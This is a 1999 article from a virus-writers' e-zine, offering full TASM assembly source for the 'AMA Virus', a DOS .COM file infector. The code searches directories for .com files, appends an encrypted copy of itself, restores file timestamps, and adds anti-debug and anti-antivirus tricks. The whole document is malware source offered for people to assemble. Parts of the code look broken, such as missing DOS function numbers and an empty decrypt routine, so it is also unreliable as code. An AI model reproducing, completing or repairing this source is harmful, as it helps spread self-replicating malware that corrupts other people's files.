ฤฤฤฤฤฤฤ[PVW5.013]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #5

                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  AMA Virus
  By : Lorz

  Use TASM & TLINK
  It will use the DotDot method in searching files.
  Will not infect COMMAND.COM
  Has Good Anti-Debug
  Encrypted

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--

page		58,132
title		AMA_VIRUS
sseg 		segment
		db 32 dup("stack---")
sseg		ends	
dseg		segment
dotdot  	db      '..',0
file_mask	db	'*.com'
ran_num         dw      ?
DTA		db	?
buffer		db	3 dup (?)
virus_size	equ	vend-start+fuck
buffer1 	db 	3 dup (?)     
buffer2 	db 	3 dup (?)
f_attrib  	db   	?
f_time  	dw   	?
f_date  	dw   	?
f_size  	dd   	?
cryptval 	dw 	[offset tame+100]
dseg		ends
cseg		segment
assume		cs:cseg,ss:sseg,ds:dseg
page
start:     	jmp	search_files
search_files:	
		lea 	dx,[bp+file_mask]  
           	int 	21h               
           	jnc 	check             
                jmp 	dir_loopy        
dir_loopy:
          	lea    	dx, [bp+dotdot]
          	mov    	ah, 3bh                 
          	int    	21h
          	jnc    	dir_loopy             
		jmp	check
check: 		
		cmp    	word ptr [bp+offset DTA+35], 'DN' 
          	jz     	fail_check
		mov     ah,3Fh                         
          	mov     cx, 3                          
          	lea     dx, [bp+offset buffer] 
         	int     21h
           	mov     ax, 4202h                   
          	xor     cx, cx                  
         	xor     dx, dx                         
          	int     21h                           
           	sub     ax,offset virus_size + 3
          	cmp     word ptr [bp+offset buffer+1], ax
          	jnz     infect
fail_check:	int	20h 
infect:		mov     sp, dx
    		sti
		mov     ax, 4200h                       
          	xor     cx, cx                          
          	xor     dx, dx                   
          	int     21h
 		mov     byte ptr [bp+buffer2], 0e9h   
          	mov     ax,word ptr [bp+f_size]
 		sub     ax,offset virus_size                 
          	mov     word ptr [bp+buffer2+1], ax     
		mov     byte ptr [bp+buffer2], 0e9h    
          	mov     ax,word ptr [bp+f_size]
          	sub     ax,offset virus_size                  
          	mov     word ptr [bp+buffer2+1], ax     
 		mov     ah, 40h                    
          	mov     cx, 3                            
          	lea     dx, [bp+buffer2]               
          	int     21h
           	call	write_virus
		mov     ax, 4200h                 
          	xor     cx, cx                           
          	xor     dx, dx
          	int     21h
           	mov     ah, 40h                        
          	mov     cx,offset virus_size+100h             
          	lea     dx,[bp+start]                	
		int     21h
		lea  	si, [bp+offset DTA+15h]      
          	mov  	cx, 9                              
          	lea  	di, [bp+offset f_attrib]        
          	rep  	movsb
		mov     ax, 5701h                      
          	mov     dx, word ptr [bp+f_date]
          	mov     cx, word ptr [bp+f_time]     
          	int     21h
 		mov     ah, 3eh                   
          	int     21h
 		mov     ax, 4301h                      
          	lea     dx, [bp+offset DTA + 1Eh]      
          	xor     ch, ch
          	mov     cl, byte ptr [bp+f_attrib]     
          	int     21h

vend:
page
decrypt:
page
encrypt:
    		mov     dx,sp
    		cli
    		mov     sp,offset start
    		mov     cx,(vend-start)/2+1
loop_:
    		pop     bx
    		xor     bx,cryptval       
    		push    bx
    		pop     bx             
        	add 	sp,2
        	loop    loop_
		ret
page
write_virus:
        	call    encrypt              
        	lea     dx,[bp+start]          
        	mov     cx,offset virus_size       
        	mov     ah,40h               
        	int     21h
        	call    decrypt            
        	ret
fuck:		
t2nd_anti_debug:
        	int     03h
        	mov     word ptr ds:[bp+offset fuck],020cdh
        	mov     word ptr ds:[bp+offset fuck],051bh
        	int     16h
t1st_anti_debug:
        	mov     cx,09ebh
        	mov     ax,0fe05h               
        	jmp     $-2
        	add     ah,03bh                 
        	jmp     $-10                    
        	int     21h
garbage_4_av:
        	mov     cx,16ech  
        	mov     ax,6fe4h  
        	int     21h       
        	mov     cx,01dbh  
        	mov     ax,7ff4h  
        	int     21h    
tame:		db	'AMA Virus by Lorz'         
cseg		ends
end		start

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
(C) Pinoy Virus Writers 1999
Lorz213@mailcity.com